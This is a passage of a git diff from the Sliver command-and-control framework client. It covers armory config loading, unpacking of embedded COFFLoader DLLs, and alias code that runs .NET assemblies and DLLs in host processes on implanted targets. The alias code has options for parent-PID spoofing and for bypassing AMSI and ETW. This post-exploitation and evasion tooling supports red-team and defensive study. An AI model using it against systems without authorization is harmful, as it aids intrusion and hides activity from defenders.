This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
const (
armoryConfigFileName = "armories.json"
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL,
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{defaultArmoryConfig}
}
data, err := ioutil.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigs)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+72 -11
View File
@@ -19,28 +19,49 @@ package assets
*/
import (
"embed"
"fmt"
"io/ioutil"
"log"
"os"
"os/user"
"path"
"path/filepath"
"strings"
ver "github.com/bishopfox/sliver/client/version"
)
var (
//go:embed fs/extensions/*
assetsFs embed.FS
)
const (
// SliverClientDirName - Directory storing all of the client configs/logs
SliverClientDirName = ".sliver-client"
versionFileName = "version"
// SliverExtensionsDirName - Directory storing the client side extensions
SliverExtensionsDirName = "extensions"
versionFileName = "version"
)
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
func GetRootAppDir() string {
user, _ := user.Current()
dir := filepath.Join(user.HomeDir, SliverClientDirName)
dir := path.Join(user.HomeDir, SliverClientDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
user, _ := user.Current()
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -52,7 +73,7 @@ func GetRootAppDir() string {
func assetVersion() string {
appDir := GetRootAppDir()
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
if err != nil {
return ""
}
@@ -60,7 +81,7 @@ func assetVersion() string {
}
func saveAssetVersion(appDir string) {
versionFilePath := filepath.Join(appDir, versionFileName)
versionFilePath := path.Join(appDir, versionFileName)
fVer, _ := os.Create(versionFilePath)
defer fVer.Close()
fVer.Write([]byte(ver.GitCommit))
@@ -72,12 +93,12 @@ func Setup(force bool, echo bool) {
localVer := assetVersion()
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
fmt.Printf("\n\nUnpacking assets ...\n")
fmt.Printf("Unpacking assets ...\n")
}
err := setupCoffLoaderExt(appDir)
if err != nil {
fmt.Println(err)
log.Fatal(err)
}
saveAssetVersion(appDir)
}
@@ -85,3 +106,43 @@ under certain conditions; type 'licenses' for details.`)
SaveSettings(nil)
}
}
func setupCoffLoaderExt(appDir string) error {
extDir := GetExtensionsDir()
win32ExtDir := path.Join("windows", "386")
win64ExtDir := path.Join("windows", "amd64")
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
loader64, err := assetsFs.ReadFile(coffLoader64)
if err != nil {
return err
}
loader32, err := assetsFs.ReadFile(coffLoader32)
if err != nil {
return err
}
manifest, err := assetsFs.ReadFile(manifestPath)
if err != nil {
return err
}
localWin32ExtDir := path.Join(extDir, win32ExtDir)
err = os.MkdirAll(localWin32ExtDir, 0700)
if err != nil {
return err
}
localWin64ExtDir := path.Join(extDir, win64ExtDir)
err = os.MkdirAll(localWin64ExtDir, 0700)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
if err != nil {
return err
}
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
if err != nil {
return err
}
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
}
+4 -4
View File
@@ -49,7 +49,7 @@ type ClientConfig struct {
// GetConfigDir - Returns the path to the config dir
func GetConfigDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ConfigDirName)
dir := path.Join(rootDir, ConfigDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
@@ -86,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
// ReadConfig - Load config into struct
func ReadConfig(confFilePath string) (*ClientConfig, error) {
confFile, err := os.Open(confFilePath)
defer confFile.Close()
if err != nil {
log.Printf("Open failed %v", err)
return nil, err
}
defer confFile.Close()
data, err := ioutil.ReadAll(confFile)
if err != nil {
log.Printf("Read failed %v", err)
@@ -108,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
// SaveConfig - Save a config to disk
func SaveConfig(config *ClientConfig) error {
if config.LHost == "" || config.Operator == "" {
return errors.New("empty config")
return errors.New("Empty config")
}
configDir := GetConfigDir()
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
configJSON, _ := json.Marshal(config)
err := ioutil.WriteFile(saveTo, configJSON, 0600)
if err != nil {
-66
View File
@@ -1,66 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"io/ioutil"
"log"
"os"
"path/filepath"
)
const (
// ExtensionsDirName - Directory storing the client side extensions
ExtensionsDirName = "extensions"
)
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
func GetExtensionsDir() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
dir := filepath.Join(rootDir, ExtensionsDirName)
if _, err := os.Stat(dir); os.IsNotExist(err) {
err = os.MkdirAll(dir, 0700)
if err != nil {
log.Fatal(err)
}
}
return dir
}
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
func GetInstalledExtensionManifests() []string {
extDir := GetExtensionsDir()
extDirContent, err := ioutil.ReadDir(extDir)
if err != nil {
log.Printf("error loading aliases: %s", err)
return []string{}
}
manifests := []string{}
for _, fi := range extDirContent {
if fi.IsDir() {
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
log.Printf("no manifest in %s, skipping ...", manifestPath)
continue
}
manifests = append(manifests, manifestPath)
}
}
return manifests
}
+16
View File
@@ -0,0 +1,16 @@
[
{
"name": "coff-loader",
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
"entrypoint": "LoadAndRun",
"extFiles": [
{
"os": "windows",
"files": {
"x64": "COFFLoader.x64.dll",
"x86": "COFFLoader.x86.dll"
}
}
]
}
]
-6
View File
@@ -33,9 +33,6 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
}
// LoadSettings - Load the client settings from disk
@@ -58,9 +55,6 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
VimMode: false,
}
}
-126
View File
@@ -1,126 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
)
// AliasesCmd - The alias command
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if 0 < len(loadedAliases) {
PrintAliases(con)
} else {
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
}
}
// PrintAliases - Print a list of loaded aliases
func PrintAliases(con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Command Name",
"Platforms",
"Version",
"Installed",
".NET Assembly",
"Reflective",
"Tool Author",
"Repository",
})
tw.SortBy([]table.SortBy{
{Name: "Name", Mode: table.Asc},
})
tw.SetColumnConfigs([]table.ColumnConfig{
{Number: 5, Align: text.AlignCenter},
})
installedManifests := getInstalledManifests()
for _, aliasPkg := range loadedAliases {
installed := ""
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
installed = "✅"
}
tw.AppendRow(table.Row{
aliasPkg.Manifest.Name,
aliasPkg.Manifest.CommandName,
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
aliasPkg.Manifest.Version,
installed,
aliasPkg.Manifest.IsAssembly,
aliasPkg.Manifest.IsReflective,
aliasPkg.Manifest.OriginalAuthor,
aliasPkg.Manifest.RepoURL,
})
}
con.Println(tw.Render())
}
// AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{}
for name := range loadedAliases {
if strings.HasPrefix(name, prefix) {
results = append(results, name)
}
}
return results
}
func aliasPlatforms(aliasPkg *AliasManifest) []string {
platforms := map[string]string{}
for _, entry := range aliasPkg.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
}
keys := []string{}
for key := range platforms {
keys = append(keys, key)
}
return keys
}
func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &AliasManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
}
installedManifests[manifest.CommandName] = manifest
}
return installedManifests
}
-90
View File
@@ -1,90 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import "testing"
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"repo_url": "https://example.com/",
"help": "some help",
"entrypoint": "foo",
"allow_args": true,
"default_args": "bar",
"is_reflective": true,
"is_assembly": true,
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseAliasManifest(t *testing.T) {
alias1, err := ParseAliasManifest([]byte(sample1))
if err != nil {
t.Errorf("Error parsing alias manifest: %s", err)
}
if alias1.Name != "test1" {
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
}
if alias1.CommandName != "test1" {
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
}
if alias1.Version != "1.0.0" {
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
}
if alias1.RepoURL != "https://example.com/" {
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
}
if alias1.Help != "some help" {
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
}
if alias1.Entrypoint != "foo" {
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
}
if !alias1.AllowArgs {
t.Errorf("Expected allow_args to be true, got false")
}
if alias1.DefaultArgs != "bar" {
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
}
if !alias1.IsReflective {
t.Errorf("Expected is_reflective to be true, got false")
}
if !alias1.IsAssembly {
t.Errorf("Expected is_assembly to be true, got false")
}
}
-178
View File
@@ -1,178 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// AliasesInstallCmd - Install an alias
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
aliasLocalPath := ctx.Args.String("path")
fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
return
}
if !fi.IsDir() {
InstallFromFile(aliasLocalPath, false, con)
} else {
installFromDir(aliasLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, cmdFile := range manifest.Files {
if cmdFile.Path != "" {
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
con.Printf("done!\n")
}
// Install an extension from a .tar.gz file
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
return nil
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("empty file %s", artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
func forceRemoveAll(rootPath string) {
util.ChmodR(rootPath, 0o600, 0o700)
os.RemoveAll(rootPath)
}
-475
View File
@@ -1,475 +0,0 @@
package alias
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
ManifestFileName = "alias.json"
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var (
// alias name -> manifest/command
loadedAliases = map[string]*loadedAlias{}
defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
)
// Ties the manifest struct to the command struct
type loadedAlias struct {
Manifest *AliasManifest
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
CommandName string `json:"command_name"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"`
Files []*AliasFile `json:"files"`
IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"`
RootPath string `json:"-"`
}
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("alias file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, con)
if err != nil {
con.PrintErrorf("Failed to load alias: %s\n", err)
} else {
con.PrintInfof("%s alias has been loaded\n", alias.Name)
}
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
manifestPath, err = filepath.Abs(manifestPath)
if err != nil {
return nil, err
}
// parse it
data, err := os.ReadFile(manifestPath)
if err != nil {
return nil, err
}
aliasManifest, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
aliasManifest.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(aliasManifest.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: longHelpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if aliasManifest.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.Bool("i", "in-process", false, "Run in the current sliver process")
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.AliasHelpGroup,
}
con.App.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
Manifest: aliasManifest,
Command: addAliasCmd,
}
return aliasManifest, nil
}
// ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
err := json.Unmarshal(data, alias)
if err != nil {
return nil, err
}
if alias.Name == "" {
return nil, fmt.Errorf("missing alias name in manifest")
}
if alias.CommandName == "" {
return nil, fmt.Errorf("missing command.name in alias manifest")
}
if alias.Help == "" {
return nil, fmt.Errorf("missing command.help in alias manifest")
}
for _, aliasFile := range alias.Files {
if aliasFile.OS == "" {
return nil, fmt.Errorf("missing command.files.os in alias manifest")
}
aliasFile.OS = strings.ToLower(aliasFile.OS)
if aliasFile.Arch == "" {
return nil, fmt.Errorf("missing command.files.arch in alias manifest")
}
aliasFile.Arch = strings.ToLower(aliasFile.Arch)
aliasFile.Path = util.ResolvePath(aliasFile.Path)
if aliasFile.Path == "" || aliasFile.Path == "/" {
return nil, fmt.Errorf("missing command.files.path in alias manifest")
}
}
return alias, nil
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processArgsStr := ctx.Flags.String("process-arguments")
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
processArgs := strings.Split(processArgsStr, " ")
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(goos)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = os.CreateTemp("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
InProcess: ctx.Flags.Bool("in-process"),
Runtime: ctx.Flags.String("runtime"),
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
EtwBypass: ctx.Flags.Bool("etw-bypass"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
